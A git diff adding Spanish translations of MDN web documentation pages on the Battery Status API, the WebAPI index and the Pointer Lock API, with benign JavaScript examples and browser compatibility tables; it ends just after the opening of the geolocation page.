+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Característica</th>
+        <th>Chrome</th>
+        <th>Firefox (Gecko)</th>
+        <th>Internet Explorer</th>
+        <th>Opera</th>
+        <th>Safari</th>
+      </tr>
+      <tr>
+        <td>Soporte básico</td>
+        <td>{{ CompatUnknown() }}</td>
+        <td>{{ CompatUnknown() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<div id="compat-mobile">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Característica</th>
+        <th>Android</th>
+        <th>Firefox Mobile (Gecko)</th>
+        <th>IE Mobile</th>
+        <th>Opera Mobile</th>
+        <th>Safari Mobile</th>
+      </tr>
+      <tr>
+        <td>Soporte básico</td>
+        <td>{{ CompatUnknown() }}</td>
+        <td>{{ CompatUnknown() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<h2 id="Véase_también">Véase también</h2>
+<ul>
+  <li>{{domxref("window.navigator.getDeviceStorage()","navigator.getDeviceStorage()")}}</li>
+  <li>{{domxref("DeviceStorage")}}</li>
+  <li>{{domxref("DeviceStorageChangeEvent")}}</li>
+</ul>
diff --git a/files/es/webapi/estado_de_bateria/index.html b/files/es/webapi/estado_de_bateria/index.html
new file mode 100644
index 0000000000..9cdc7259be
--- /dev/null
+++ b/files/es/webapi/estado_de_bateria/index.html
@@ -0,0 +1,39 @@
+---
+title: API de Estado de Bateria
+slug: WebAPI/Estado_de_Bateria
+tags:
+  - API
+  - Apps
+  - Firefox OS
+  - Mobile
+translation_of: Web/API/Battery_Status_API
+---
+<p>La <strong>API de Estado de Batería</strong>, también conocida como "<strong>Battery API</strong>", provee información acerca del sistema de carga de la batería y permite notificar mediante eventos que son enviados cuando el nivel de la batería cambia. Este puede ser usado para ajustar el uso de recursos por parte de una aplicación y evitar un gasto innecesario de energía cuando la batería esta baja o para guardar cambios en un archivo antes de que la batería se agote y así prevenir perdida de información.</p>
+<p>La API de Estado de Batería se puede extender mediante {{domxref("window.navigator")}} con una propiedad {{domxref("window.navigator.battery")}} que pertenece al objeto {{domxref("BatteryManager")}} y agrega algunos nuevos eventos que usted puede recibir en el monitor de estado de la batería.</p>
+<h2 id="Ejemplo">Ejemplo</h2>
+<p>En este ejemplo, observamos los cambios en el estado de la carga (este o no conectado y cargando) y  en el nivel de la batería. Esto se hace escuchando el evento {{event("chargingchange")}} y el evento {{event("levelchange")}} respectivamente.</p>
+<pre class="brush: js">var battery = navigator.battery || navigator.mozBattery || navigator.webkitBattery;
+
+function updateBatteryStatus() {
+  console.log("Battery status: " + battery.level * 100 + " %");
+
+  if (battery.charging) {
+    console.log("Battery is charging");
+  }
+}
+
+battery.addEventListener("chargingchange", updateBatteryStatus);
+battery.addEventListener("levelchange", updateBatteryStatus);
+updateBatteryStatus();
+</pre>
+<p>Vea también: <a class="external" href="http://dev.w3.org/2009/dap/system-info/battery-status.html#introduction">El ejemplo en las especificaciones</a></p>
+<h2 id="Especificaciones">Especificaciones</h2>
+<p>{{page("/en-US/docs/Web/API/BatteryManager","Specifications")}}</p>
+<h2 id="Compatibilidad_del_Navegador">Compatibilidad del Navegador</h2>
+<p>{{page("/en-US/docs/Web/API/BatteryManager","Browser_compatibility")}}</p>
+<h2 id="Vea_también">Vea también</h2>
+<ul>
+  <li><a class="external" href="http://hacks.mozilla.org/2012/02/using-the-battery-api-part-of-webapi/">Hacks blog post - Usando la API de Batería</a></li>
+  <li>{{domxref("BatteryManager")}}</li>
+  <li>{{domxref("window.navigator.battery","navigator.battery")}}</li>
+</ul>
diff --git a/files/es/webapi/index.html b/files/es/webapi/index.html
new file mode 100644
index 0000000000..60f5615e83
--- /dev/null
+++ b/files/es/webapi/index.html
@@ -0,0 +1,143 @@
+---
+title: WebAPI
+slug: WebAPI
+tags:
+  - Apps
+  - DOM
+  - Firefox OS
+  - Mobile
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/API
+---
+<p><strong>WebAPI</strong> es un termino usado para referirse al conjunto de APIs compatibles y de acceso a los dispositivos que permite a las Web apps y contenido acceder al hardware del dispositivo (como el estado de la batería o la vibración de hardware), al igual que acceso a información almacenada en el dispositivo (como el calendario o la lista de contactos). Agregando estas APIs, esperamos expandir lo que la Web puede hacer hoy y solo plataformas propietarias fueron capaces de hacer en el pasado.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> More of this documentation has been written than it looks like; links are not all added yet. We're actively working on improving this and expect to see things much better over the next couple of weeks. See the <a href="/en-US/docs/WebAPI/Doc_status" title="WebAPI/Doc_status">WebAPI doc status page</a>, where we're tracking work on WebAPI docs.</p>
+</div>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Communication_APIs" name="Communication_APIs">APIs DE COMUNICACIÓN</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/WebAPI/Network_Information" title="WebAPI/Network_Information">API de información de la red</a></dt>
+ <dd>Provee información básica sobre la conexión de red actual, como la velocidad de conexión.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/WebAPI/WebBluetooth" title="WebAPI/WebBluetooth">Bluetooth</a></dt>
+ <dd>La API de  WebBluetooth provee acceso a bajo nivel  al hardware de Bluetooth del dispositivo.</dd>
+ <dt><a href="/en-US/docs/WebAPI/Mobile_Connection" title="WebAPI/Mobile_Connection">API de conexión móvil</a> {{NonStandardBadge}}</dt>
+ <dd>Expone información sobre la conectividad celular del dispositivo, como la fuerza de la señal, información del operador y así suscesivamente.</dd>
+ <dt><a href="/en-US/docs/WebAPI/Network_Stats" title="WebAPI/Network_Stats">API de estadísticas de red</a></dt>
+ <dd>Monitorea la data usada y expone esta data a aplicaciones privilegiadas.</dd>
+ <dt><a href="/en-US/docs/WebAPI/TCP_Socket" title="WebAPI/TCP_Socket">TCP Socket API</a></dt>
+ <dd>Proporciona sockets de bajo nivel y soporte SSL.</dd>
+ <dt><a href="/en-US/docs/WebAPI/WebTelephony" title="WebAPI/WebTelephony">Telefonía</a> {{NonStandardBadge}}</dt>
+ <dd>Permite a las apps contestar llamadas telefónicas y usar la interfaz de usuario de telefonía integrada.</dd>
+ <dt><a href="/en-US/docs/WebAPI/WebSMS" title="WebAPI/WebSMS">WebSMS </a>{{NonStandardBadge}}</dt>
+ <dd>Permite a las apps enviar y recibir mensajes de texto, así como también acceder y manejar los mensajes almacenados en el dispositivo.</dd>
+ <dt><a href="/en-US/docs/WebAPI/WiFi_Information" title="WebAPI/WiFi_Information">API de información de WiFi</a></dt>
+ <dd>API privilegiada, la cual provee información sobre la fuerza de la señal, el nombre de la red actual, redes wifi disponibles, y más.</dd>
+</dl>
+
+<h2 class="Documentation" id="Hardware_access_APIs" name="Hardware_access_APIs">APIS de acceso a Hardware</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/WebAPI/Using_Light_Events">API de sensor de luz ambiental</a></dt>
+ <dd>Provee acceso al sensor de luz ambiental, el cual permite a una app detectar el nivel de luz ambiental proximos al dispositivo.</dd>
+ <dt><a href="/en-US/docs/WebAPI/Battery_Status" title="WebAPI/Battery_Status">API de estado de batería</a></dt>
+ <dd>Provee información sobre el nivel de carga de la batería y si el dispositivo se encuentra conectado a un punto de carga o no.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Using_geolocation" title="Using_geolocation">API de Geolocalización</a></dt>
+ <dd>Provee información sobre la ubicación física del dispositivo.</dd>
+ <dt><a href="/en-US/docs/WebAPI/Pointer_Lock" title="API/Pointer_Lock_API">API de bloqueo de puntero</a></dt>
+ <dd>Permite a las apps bloquear acceso al mouse y obtener acceso a los deltas de movimiento en lugar de coordenadas absolutas; esto es ideal para juegos.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/WebAPI/Proximity" title="WebAPI/Proximity">API de proximidad</a></dt>
+ <dd>Permite determinar la proximidad del dispositivo a objetos cercanos, como el rostro del usuario.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/WebAPI/Detecting_device_orientation" title="WebAPI/Detecting_device_orientation">API de orientación del dispositivo</a></dt>
+ <dd>Provee notificaciones cuando la orientación del dispositivo cambia.</dd>
+ <dt><a href="/en-US/docs/Detecting_device_orientation" title="Detecting_device_orientation">API de orientación de pantalla</a></dt>
+ <dd>Provee notificaciones cuando cambia la orientación de la pantalla. También puedes usar esta API para dejar que su app indique que orientación prefiere.</dd>
+ <dt><a href="/en-US/docs/WebAPI/Vibration" title="WebAPI/WebBluetooth">API de Vibración</a></dt>
+ <dd>Permite a las apps controlar la vibración de hardware del dispositivo para cosas como retroalimentación háptica en juegos. Esto <strong>no</strong> es pensado para cosas como vibraciones de notificaciones, para ello revisa la <a href="/en-US/docs/WebAPI/Alarm" title="WebAPI/Alarm">API de Alarma</a>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/WebAPI/Camera" title="WebAPI/Camera">API de Cámara</a> {{NonStandardBadge}}</dt>
+ <dd>Permite a las apps tomar fotografías y/o grabar videos usaando la cámara integrada del dispositivo.</dd>
+ <dt><a href="/en-US/docs/WebAPI/Power_Management" title="WebAPI/Power_Management">API de administración de energía </a>{{NonStandardBadge}}</dt>
+ <dd>Permite a las apps encender o apagar la pantalla, el CPU, la energía del dispositivo, y así sucesivamente. También provee soporte para escuchar e inspeccionar eventos de bloqueo de recursos.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/en-US/docs/tag/WebAPI" title="tag/CSS">View All...</a></span></p>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Data_management_APIs" name="Data_management_APIs">APIs de administración de información</h2>
+
+<dl>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/WebAPI/FileHandle_API" title="WebAPI/FileHandle_API">API de identificador de archivos</a></dt>
+ <dd>Provee soporte para escribir archivos con soporte de bloqueo.</dd>
+ <dt><a href="/en-US/docs/IndexedDB" title="IndexedDB">IndexedDB</a></dt>
+ <dd>Almacenamiento de información estructurada del lado cliente con soporte para búsquedas de alto rendimiento.</dd>
+</dl>
+
+<h2 class="Documentation" id="Other_APIs" name="Other_APIs">OtrAS APIs</h2>
+
+<dl>
+ <dt><a href="/es/docs/WebAPI/Alarm" title="WebAPI/Alarm">API de Alarma</a></dt>
+ <dd>Permite a las apps programar notificaciones.</dd>
+ <dd>También proporciona soporte para el lanzamiento de una aplicación de forma automática en un momento determinado.</dd>
+ <dt><a href="/en-US/docs/Apps" title="Apps">Apps API</a></dt>
+ <dd>La API de aplicaciones web abiertas permite soporte para instalar y administrar aplicaciones web. Y además, permite a las aplicaciones determinar información de pago.</dd>
+ <dt><a href="/en-US/docs/DOM/Using_the_Browser_API" title="DOM/Using_the_Browser_API"><strong>API de navegador</strong></a></dt>
+ <dd>Provee soporte para construir un navegador web usando tecnologías web completamente (en esencia, un navegador dentro de un navegador).</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/WebAPI/Idle" title="WebAPI/Device_Storage_API">Idle API</a></dt>
+ <dd>Permite a las apps recibir información cuando el usuario no está usando el dispositivo activamente.</dd>
+ <dt><a href="/en-US/docs/WebAPI/Permissions" title="WebAPI/Permissions">API de permisos</a></dt>
+ <dd>Administra permisos de las apps en una ubicación central. Usado por la app de Ajustes.</dd>
+ <dt><a href="/en-US/docs/WebAPI/Simple_Push" title="WebAPI/Push_Notifications">Simple Push API</a></dt>
+ <dd>Permite a la plataforma enviar mensajes de notificación a aplicaciones específicas.</dd>
+ <dt><a href="/en-US/docs/WebAPI/Time_and_Clock" title="WebAPI/Time_and_Clock">API de tiempo/reloj</a> {{NonStandardBadge}}</dt>
+ <dd>Provee soporte para ajustar el tiempo actual. La zona horaria es establecida usando la <a href="/en-US/docs/WebAPI/Settings" title="WebAPI/Settings">API de ajustes</a>.</dd>
+ <dt><a href="/en-US/docs/WebAPI/Web_Activities" title="WebAPI/Web_Activities">Web Activities</a> {{NonStandardBadge}}</dt>
+ <dd>Permite a una app delegar una actividad a otra app; por ejemplo, una app podría preguntar a otra app seleccionar (o crear) y devolver una foto. Normalmente el usuario es capaz de configurar que aplicaciones se utilizan para que actividad.</dd>
+ <dt><a href="/en-US/docs/Apps/Publishing/In-app_payments" title="Apps/Publishing/In-app_payments">WebPayment API</a> {{NonStandardBadge}}</dt>
+ <dd>Permite a contenido web iniciar pago y reembolsos por bienes virtuales.</dd>
+</dl>
+
+<h2 class="Community" id="Community" name="Community">comunidad WebAPI</h2>
+
+<p>Si necesitas ayuda con estas APIs, existen varias maneras en la que puedes hablar con otros desarrolladores que las utilizan.</p>
+
+<ul>
+ <li>Consulta en el foro de WebAPI: {{DiscussionList("dev-webapi", "mozilla.dev.webapi")}}</li>
+ <li>Visita el canal de IRC de WebAPI: <a href="irc://irc.mozilla.org/webapi" title="irc://irc.mozilla.org/webapi">#webapi</a></li>
+</ul>
+
+<p><span class="alllinks"><a href="http://www.catb.org/~esr/faqs/smart-questions.html" title="http://www.catb.org/~esr/faqs/smart-questions.html">Don't forget about the <em>netiquette</em>...</a></span></p>
+
+<h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">temas Relacionados</h2>
+
+<ul>
+ <li>El <a href="/es/docs/DOM" title="Document Object Model (DOM)">Modelo de Objetos del Documento (DOM)</a> es la representación estructural del documento HTML.</li>
+ <li><a href="/es/docs/JavaScript" title="JavaScript">JavaScript</a> - Lenguaje de Script para la Web.</li>
+ <li><a href="/en-US/docs/WebAPI/Doc_status" title="WebAPI/Doc_status">Doc status</a>: Una lista de WebAPIs y el estado de su documentación.</li>
+</ul>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/es/webapi/pointer_lock/index.html b/files/es/webapi/pointer_lock/index.html
new file mode 100644
index 0000000000..13a27d6d48
--- /dev/null
+++ b/files/es/webapi/pointer_lock/index.html
@@ -0,0 +1,284 @@
+---
+title: API Pointer Lock
+slug: WebAPI/Pointer_Lock
+translation_of: Web/API/Pointer_Lock_API
+---
+<p> </p>
+
+<p><strong>Pointer Lock </strong>(antes llamado Bloqueo del <em>Mouse</em>)  proporciona métodos de entrada basados ​​en el movimiento del ratón a traves del tiempo (es decir, deltas), no sólo la posición absoluta del cursor del <em>mouse</em>. Te da acceso al movimiento <span style="line-height: inherit;">puro </span><span style="line-height: inherit;">del <em>mouse</em>, bloquea el objetivo de los eventos del <em>mouse</em> a un solo elemento, elimina límites en cuanto a  que tan lejos puedes mover el <em>mouse</em> en una sola dirección, y quita el cursor de la vista.</span></p>
+
+<p>Esta API es útil para aplicaciones que requieren bastantes acciones para controlar los movimientos del <em>mouse</em>, rotar objetos y cambiar las entradas. Es especialmente importante para aplicaciones altamente visuales, tales como los que utilizan la perspectiva en primera persona, así como vistas en 3D y modelado.</p>
+
+<p>Por ejemplo, puedes crear aplicaciones que permiten a los usuarios controlar el ángulo de visión con sólo mover el <em>mouse</em> sin ningún clic, permitiendo liberar <span style="line-height: inherit;">los clics</span><span style="line-height: inherit;"> para otras acciones. Este tipo de entrada del <em>mouse</em> es muy útil para ver mapas, imágenes de satélite, o escenas en primera persona (como en un juego o un vídeo embebido).</span></p>
+
+<p><strong>Pointer Lock</strong><span style="line-height: inherit;"> te permite acceder a los eventos del </span><em>mouse</em><span style="line-height: inherit;"> incluso cuando el cursor pasa por el límite de la pantalla del navegador. Por ejemplo, los usuarios pueden seguir girando o manipular un modelo 3D moviendo el </span><em>mouse</em><span style="line-height: inherit;"> sin fin. Sin </span><strong>Pointer Lock</strong><span style="line-height: inherit;">, la rotación o la manipulación se detiene en el momento en que el cursor alcanza el borde de la pantalla del navegador. Los jugadores se verán particularmente encantados con esta característica, ya que anciosamente pueden hacer clic en los botones y arrastrar el cursor del </span><em>mouse</em><span style="line-height: inherit;"> de un lado a otro sin tener que preocuparse por salir de la zona de juego ni de cliquear accidentalmente otra aplicación que podría llevar al </span><em>mouse</em><span style="line-height: inherit;"> fuera del juego. Una tragedia!</span></p>
+
+<h2 id="basics" name="basics">Conceptos Básicos</h2>
+
+<p><strong>Pointer Lock</strong><strong style="line-height: inherit;"> </strong><span style="line-height: inherit;">está relacionado con la <em>mouse capture</em>. </span><em>mouse capture </em><span style="line-height: inherit;">proporciona la entrega continua de eventos a un elemento de destino, mientras que el <em>mouse</em> se arrastra, pero se detiene cuando se suelta el clic. </span><strong>Pointer Lock</strong><span style="line-height: inherit;"> es diferente de </span><em>mouse capture </em><span style="line-height: inherit;">en las siguientes maneras:</span></p>
+
+<ul>
+ <li><span style="line-height: 1.5em;">Es persistente. <strong style="line-height: normal;">Pointer Lock</strong> no libera el <em>mouse</em> hasta que se haga una llamada explícita a la API  o el usuario utilize un gesto concreto de lanzamiento.</span></li>
+ <li><span style="line-height: 1.5em;">No está limitado por los limites del navegador o la pantalla.</span></li>
+ <li>Envia continuamente eventos independientemente del estado del clic del <em>mouse</em>.</li>
+ <li>Oculta el cursor.</li>
+</ul>
+
+<h2 id="example" name="example">Ejemplo</h2>
+
+<p>El siguiente es un ejemplo de cómo se puede configurar <strong>Pointer Lock</strong> en su página web.</p>
+
+<pre class="brush: js">&lt;button onclick="lockPointer();"&gt;Lock it!&lt;/button&gt;
+&lt;div id="pointer-lock-element"&gt;&lt;/div&gt;
+&lt;script&gt;
+// Nota: Al momento de escribir esto, sólo Mozilla y WebKit apoyan Pointer Lock.
+
+// El elemento que servirá para pantalla completa y pointer lock.
+var elem;
+
+document.addEventListener("mousemove", function(e) {
+  var movementX = e.movementX       ||
+                  e.mozMovementX    ||
+                  e.webkitMovementX ||
+                  0,
+      movementY = e.movementY       ||
+                  e.mozMovementY    ||
+                  e.webkitMovementY ||
+                  0;
+
+  // Imprime los valores delta del movimiento del mouse
+  console.log("movementX=" + movementX, "movementY=" + movementY);
+}, false);
+
+function fullscreenChange() {
+  if (document.webkitFullscreenElement === elem ||
+      document.mozFullscreenElement === elem ||
+      document.mozFullScreenElement === elem) { // Older API upper case 'S'.
+    // El elemento esta en pantalla completa, ahora podemos hacer el request de pointer lock
+    elem.requestPointerLock = elem.requestPointerLock    ||
+                              elem.mozRequestPointerLock ||
+                              elem.webkitRequestPointerLock;
+    elem.requestPointerLock();
+  }
+}
+
+document.addEventListener('fullscreenchange', fullscreenChange, false);
+document.addEventListener('mozfullscreenchange', fullscreenChange, false);
+document.addEventListener('webkitfullscreenchange', fullscreenChange, false);
+
+function pointerLockChange() {
+  if (document.mozPointerLockElement === elem ||
+      document.webkitPointerLockElement === elem) {
+    console.log("Pointer Lock was successful.");
+  } else {
+    console.log("Pointer Lock was lost.");
+  }
+}
+
+document.addEventListener('pointerlockchange', pointerLockChange, false);
+document.addEventListener('mozpointerlockchange', pointerLockChange, false);
+document.addEventListener('webkitpointerlockchange', pointerLockChange, false);
+
+function pointerLockError() {
+  console.log("Error while locking pointer.");
+}
+
+document.addEventListener('pointerlockerror', pointerLockError, false);
+document.addEventListener('mozpointerlockerror', pointerLockError, false);
+document.addEventListener('webkitpointerlockerror', pointerLockError, false);
+
+function lockPointer() {
+  elem = document.getElementById("pointer-lock-element");
+  // Start by going fullscreen with the element.  Current implementations
+  // require the element to be in fullscreen before requesting pointer
+  // lock--something that will likely change in the future.
+  elem.requestFullscreen = elem.requestFullscreen    ||
+                           elem.mozRequestFullscreen ||
+                           elem.mozRequestFullScreen || // Older API upper case 'S'.
+                           elem.webkitRequestFullscreen;
+  elem.requestFullscreen();
+}
+&lt;/script&gt;
+</pre>
+
+<h2 id="method_overview" name="method_overview">Propiedades/Métodos</h2>
+
+<p>La API de bloque de puntero ,similar a la API de Fullscreen,extiende del elemento DOM agregando un nuevo método, <code>requestPointerLock</code>, la cual es dependiente del vendedor(del navegador). Puede escribirse como:</p>
+
+<pre class="idl"><span class="idlInterface" id="idl-def-MouseLockable"><span class="idlInterface" id="idl-def-MouseLockable">element.webkitRequestPointerLock(); // para Chrome</span></span>
+
+element.mozRequestPointerLock(); // para Firefox
+</pre>
+
+<p>Current implementations of <code>requestPointerLock</code> are tightly bound to <code>requestFullScreen</code> and the Fullscreen API. Before an element can be pointer locked, it must first enter the fullscreen state. As demonstrated above, the process of locking the pointer is asynchronous, with events (<code>pointerlockchange</code>, <code>pointerlockerror</code>) indicating the success or failure of the request. This matches how the Fullscreen API works, with its <code>requestFullScreen</code> method and <code>fullscreenchange</code> and <code>fullscreenerror</code> events.</p>
+
+<p>The Pointer lock API also extends the <code>document</code> interface, adding both a new property and a new method. The new property is used for accessing the currently locked element (if any), and is named <code>pointerLockElement</code>, which is vendor-prefixed for now. The new method on <code>document</code> is <code>exitPointerLock</code> and, as the name implies, it is used to exit Pointer lock.</p>
+
+<p>The <code>pointerLockElement</code> property is useful for determining if any element is currently pointer locked (e.g., for doing a boolean check) and also for obtaining a reference to the locked element, if any. Here is an example of both uses:</p>
+
+<pre class="idl"><span class="idlInterface" id="idl-def-MouseLockable"><span class="idlInterface" id="idl-def-MouseLockable">document.pointerLockElement = document.pointerLockElement    ||
+                              document.mozPointerLockElement ||
+                              document.webkitPointerLockElement;</span></span>
+
+// 1) Used as a boolean check--are we pointer locked?
+if (!!document.pointerLockElement) {
+  // pointer is locked
+} else {
+  // pointer is not locked
+}
+
+// 2) Used to access the pointer locked element
+if (document.pointerLockElement === someElement) {
+  // someElement is currently pointer locked
+}
+</pre>
+
+<p>The <code>document</code>'s <code>exitPointerLock</code> method is used to exit pointer lock, and like requestPointerLock, works asynchrounously using the <code>pointerlockchange</code> and <code>pointerlockerror</code> events:</p>
+
+<pre class="idl"><span class="idlInterface" id="idl-def-MouseLockable"><span class="idlInterface" id="idl-def-MouseLockable">document.exitPointerLock = document.exitPointerLock    ||
+                           document.mozExitPointerLock ||
+                           document.webkitExitPointerLock;</span></span>
+
+function pointerLockChange() {
+  <span class="idlInterface" id="idl-def-MouseLockable"><span class="idlInterface" id="idl-def-MouseLockable">document.pointerLockElement = document.pointerLockElement    ||
+                                document.mozPointerLockElement ||
+                                document.webkitPointerLockElement;</span></span>
+
+  if (!!document.pointerLockElement) {
+    console.log("Still locked.");
+  } else {
+    console.log("Exited lock.");
+  }
+}
+
+document.addEventListener('pointerlockchange', pointerLockChange, false);
+document.addEventListener('mozpointerlockchange', pointerLockChange, false);
+document.addEventListener('webkitpointerlockchange', pointerLockChange, false);
+
+// Attempt to unlock
+document.exitPointerLock();
+</pre>
+
+<h2 id="mouselocklostevent" name="mouselocklostevent">pointerlockchange event</h2>
+
+<p>When the Pointer lock state changes—for example, when calling <code>requestPointerLock</code>, <code>exitPointerLock</code>, the user pressing the ESC key, etc.—the <code>pointerlockchange</code> event is dispatched to the <code>document</code>. This is a simple event and contains no extra data.</p>
+
+<div class="note">This event is currently prefixed as <code>mozpointerlockchange</code> in Firefox and <code>webkitpointerlockchange</code> in Chrome. </div>
+
+<h2 id="mouselocklostevent" name="mouselocklostevent">pointerlockerror event</h2>
+
+<p>When there is an error caused by calling <code>requestPointerLock</code> or <code>exitPointerLock</code>, the <code>pointerlockerror</code> event is dispatched to the <code>document</code>. This is a simple event and contains no extra data.</p>
+
+<div class="note">This event is currently prefixed as <code>mozpointerlockerror</code> in Firefox and <code>webkitpointerlockerror</code> in Chrome. </div>
+
+<h2 id="extensions" name="extensions">Extensions to mouse events</h2>
+
+<p>The Pointer lock API extends the normal <code>MouseEvent</code> with movement attributes.</p>
+
+<pre class="idl"><span class="idlInterface" id="idl-def-MouseEvent">partial interface <span class="idlInterfaceID">MouseEvent</span> {
+<span class="idlAttribute">    readonly attribute <span class="idlAttrType"><a>long</a></span> <span class="idlAttrName"><a href="http://dvcs.w3.org/hg/webevents/raw-file/default/mouse-lock.html#widl-MouseEvent-movementX">movementX</a></span>;</span>
+<span class="idlAttribute">    readonly attribute <span class="idlAttrType"><a>long</a></span> <span class="idlAttrName"><a href="http://dvcs.w3.org/hg/webevents/raw-file/default/mouse-lock.html#widl-MouseEvent-movementY">movementY</a></span>;</span>
+};</span></pre>
+
+<div class="note">The movement attributes are currently prefixed as <code>.mozMovementX</code> and <code>.mozMovementY</code> in Firefox, and<code>.webkitMovementX</code> and <code>.webkitMovementY</code> in Chrome.</div>
+
+<p>Two new parameters to mouse events—<code>movementX</code> and <code>movementY</code>—provide the change in mouse positions. The values of the parameters are the same as the difference between the values of <a href="/en/DOM/MouseEvent" title="en/DOM/Event/UIEvent/MouseEvent"><code>MouseEvent</code></a> properties, <code>screenX</code> and <code>screenY</code>, which are stored in two subsequent <code>mousemove</code> events, <code>eNow</code> and <code>ePrevious</code>. In other words, the Pointer lock parameter <code>movementX = eNow.screenX - ePrevious.screenX</code>.</p>
+
+<h3 id="locked_state" name="locked_state">Locked state</h3>
+
+<p>When Pointer lock is enabled, the standard <code>MouseEvent</code> properties <code>clientX</code>, <code>clientY</code>, <code>screenX</code>, and <code>screenY</code> are held constant, as if the mouse is not moving. The <code>movementX</code> and <code>movementY</code> properties continue to provide the mouse's change in position. There is no limit to <code>movementX</code> and <code>movementY</code> values if the mouse is continuously moving in a single direction. The concept of the mouse cursor does not exist and the cursor cannot move off the window or be clamped by a screen edge.</p>
+
+<h3 id="unlocked_state" name="unlocked_state">Unlocked state</h3>
+
+<p>The parameters <code>movementX</code> and <code>movementY</code> are valid regardless of the mouse lock state, and are available even when unlocked for convenience.</p>
+
+<p>When the mouse is unlocked, the system cursor can exit and re-enter the browser window. If that happens, <code>movementX</code> and <code>movementY</code> could be set to zero.</p>
+
+<h2 id="iframe_limitations">iframe limitations</h2>
+
+<p>Pointer lock can only lock one iframe at a time. If you lock one iframe, you cannot try to lock another iframe and transfer the target to it; Pointer lock will error out. To avoid this limitation, first unlock the locked iframe, and then lock the other.</p>
+
+<p>While iframes work by default, "sandboxed" iframes block Pointer lock. The ability to avoid this limitation, in the form of the attribute/value combination <code>&lt;iframe sandbox="allow-pointer-lock"&gt;</code>, is expected to appear in Chrome soon.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Pointer Lock')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>
+    <p>Targeting 23{{ property_prefix("webkit") }}*</p>
+
+    <p>See <a class="external" href="http://code.google.com/p/chromium/issues/detail?id=72754" title="http://code.google.com/p/chromium/issues/detail?id=72754">CR/72574</a></p>
+   </td>
+   <td>
+    <p>{{ CompatGeckoDesktop("14.0") }}</p>
+
+    <p>{{bug("633602") }}</p>
+   </td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>* Requires the feature be enabled in <code>about:flags</code> or Chrome started with the <code>--enable-pointer-lock</code> flag.</p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<p><a href="/en/DOM/MouseEvent" title="en/DOM/Event/UIEvent/MouseEvent">MouseEvent</a></p>
diff --git a/files/es/webapi/using_geolocation/index.html b/files/es/webapi/using_geolocation/index.html
new file mode 100644
index 0000000000..6d50972f8b
--- /dev/null
+++ b/files/es/webapi/using_geolocation/index.html
@@ -0,0 +1,232 @@
+---
+title: Uso de geolocalización
+slug: WebAPI/Using_geolocation
+tags:
+  - API
+  - Geolocalización
+  - Guía
+  - clearWatch
+  - watchPosition
+translation_of: Web/API/Geolocation_API
+---
+<p>{{securecontext_header}}{{APIRef("Geolocation API")}}</p>
+
+<p><span id="result_box" lang="es"><span class="hps">La</span> <strong><span class="hps">API de geolocalización</span></strong> <span class="hps">permite al</span> <span class="hps">usuario compartir su</span> <span class="hps">ubicación</span> <span class="hps">a las aplicaciones web</span> <span class="hps">si</span> <span class="hps">así lo desea.</span> <span class="hps">Por razones de privacidad</span><span>,</span> <span class="hps">al usuario</span> <span class="hps">se le pide que</span> <span class="hps">confirme el permiso</span> <span class="hps">para proporcionar información</span> <span class="hps">de ubicación.</span></span></p>
+
+<h2 id="El_objeto_geolocation">El objeto geolocation</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">La API</span> <span class="hps">de geolocalización</span> <span class="hps">se publica</span> <span class="hps">a través del objeto </span></span>{{domxref("window.navigator.geolocation","navigator.geolocation")}}.</p>
+
